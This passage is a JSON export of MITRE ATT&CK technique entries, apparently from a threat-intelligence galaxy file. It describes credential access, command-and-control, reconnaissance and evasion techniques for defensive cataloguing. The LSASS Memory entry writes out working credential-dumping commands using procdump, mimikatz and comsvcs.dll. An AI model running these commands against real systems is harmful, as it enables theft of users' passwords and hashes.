"description": "Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.",
"meta": {
"external_id": "T1134.001",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1134/001",
"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
]
},
"related": [
{
"dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"type": "subtechnique-of"
}
],
"uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
"value": "Token Impersonation/Theft - T1134.001"
},
{
"description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1596.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1596/001",
"https://dnsdumpster.com/",
"https://www.circl.lu/services/passive-dns/"
]
},
"related": [
{
"dest-uuid": "55fc4df0-b42c-479a-b860-7a6761bcaad0",
"type": "subtechnique-of"
}
],
"uuid": "17fd695c-b88c-455a-a3d1-43b6cb728532",
"value": "DNS/Passive DNS - T1596.001"
},
{
"description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",
"meta": {
"external_id": "T1001.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1001/001"
]
},
"related": [
{
"dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
"type": "subtechnique-of"
}
],
"uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade",
"value": "Junk Data - T1001.001"
},
{
"description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
"meta": {
"external_id": "CAPEC-117",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1020/001",
"https://capec.mitre.org/data/definitions/117.html",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
"https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html",
"https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html",
"https://www.us-cert.gov/ncas/alerts/TA18-106A"
]
},
"related": [
{
"dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
"type": "subtechnique-of"
}
],
"uuid": "7c46b364-8496-4234-8a56-f7e6727e21e1",
"value": "Traffic Duplication - T1020.001"
},
{
"description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
"meta": {
"external_id": "T1003.001",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://attack.mitre.org/techniques/T1003/001",
"https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
"https://github.com/mattifestation/PowerSploit",
"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
"https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf",
"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
"value": "LSASS Memory - T1003.001"
},
{
"description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ",
"meta": {
"external_id": "T1001.003",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1001/003"
]
},
"related": [
{
"dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
"type": "subtechnique-of"
}
],
"uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
"value": "Protocol Impersonation - T1001.003"
},
{
"description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",
"meta": {
"external_id": "T1090.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1090/001"
]
},
"related": [
{
"dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
"type": "subtechnique-of"
}
],
"uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755",
"value": "Internal Proxy - T1090.001"
},
{
"description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",
"meta": {
"external_id": "T1090.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1090/002"
]
},
"related": [
{
"dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
"type": "subtechnique-of"
}
],
"uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
"value": "External Proxy - T1090.002"
},
{
"description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
"meta": {
"external_id": "T1003.004",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1003/004",
"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN",
"https://github.com/mattifestation/PowerSploit",
"https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets",
"https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf",
"https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
"value": "LSA Secrets - T1003.004"
},
{
"description": "Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.",
"meta": {
"external_id": "T1003.007",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1003/007",
"https://github.com/huntergregal/mimipenguin"
]
},
"related": [
{
"dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"type": "subtechnique-of"
}
],
"uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d",
"value": "Proc Filesystem - T1003.007"
},
{
"description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
"meta": {
"external_id": "T1070.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Deletion"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://attack.mitre.org/techniques/T1070/004"
]
},
"related": [
{
"dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"type": "subtechnique-of"
}
],
"uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
"value": "File Deletion - T1070.004"
},
{
"description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
"meta": {
"external_id": "CAPEC-481",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
"https://attack.mitre.org/techniques/T1090/004",
"https://capec.mitre.org/data/definitions/481.html"
]
},
"related": [
{
"dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
"type": "subtechnique-of"
}
],
"uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2",
"value": "Domain Fronting - T1090.004"
},
{
"description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
"meta": {
"external_id": "CAPEC-49",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1110/001",
"https://capec.mitre.org/data/definitions/49.html",
"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf",
"https://www.us-cert.gov/ncas/alerts/TA18-086A"
]
},
"related": [
{
"dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
"type": "subtechnique-of"
}
],
"uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
"value": "Password Guessing - T1110.001"
},
{
"description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",
"meta": {
"external_id": "CAPEC-55",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Office 365",
"Azure AD"
],
"refs": [
"https://attack.mitre.org/techniques/T1110/002",
"https://capec.mitre.org/data/definitions/55.html",
"https://en.wikipedia.org/wiki/Password_cracking"
]
},
"related": [
{
"dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
"type": "subtechnique-of"
}
],
"uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d",
"value": "Password Cracking - T1110.002"
},
{
"description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
"meta": {
"external_id": "CAPEC-565",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"http://www.blackhillsinfosec.com/?p=4645",
"https://attack.mitre.org/techniques/T1110/003",
"https://capec.mitre.org/data/definitions/565.html",
"https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing",
"https://www.us-cert.gov/ncas/alerts/TA18-086A"
]
},
"related": [
{
"dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
"type": "subtechnique-of"
}
],
"uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c",
"value": "Password Spraying - T1110.003"
},
{
"description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",
"meta": {
"external_id": "CAPEC-600",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1110/004",
"https://capec.mitre.org/data/definitions/600.html",
"https://www.us-cert.gov/ncas/alerts/TA18-086A"
]
},
"related": [
{
"dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
"type": "subtechnique-of"
}
],
"uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc",
"value": "Credential Stuffing - T1110.004"
},
{
"description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
"meta": {
"external_id": "T1071.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1071/001"
]
},
"related": [
{
"dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
"type": "subtechnique-of"
}
],
"uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
"value": "Web Protocols - T1071.001"
},
{
"description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ",
"meta": {
"external_id": "T1102.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1102/002"
]
},
"related": [
{
"dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
"type": "subtechnique-of"
}
],
"uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
"value": "Bidirectional Communication - T1102.002"
},
{
"description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).",
"meta": {
"external_id": "T1204.001",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"File: File Creation",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1204/001"
]
},
"related": [
{
"dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
"type": "subtechnique-of"
}
],
"uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
"value": "Malicious Link - T1204.001"
},
{
"description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
"meta": {
"external_id": "T1205.001",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence",
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1205/001",
"https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
]
},
"related": [
{
"dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c",
"type": "subtechnique-of"
}
],
"uuid": "8868cb5b-d575-4a60-acb2-07d37389a2fd",
"value": "Port Knocking - T1205.001"
},
{
"description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
"meta": {
"external_id": "CAPEC-655",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1027/001",
"https://capec.mitre.org/data/definitions/572.html",
"https://capec.mitre.org/data/definitions/655.html",
"https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/",
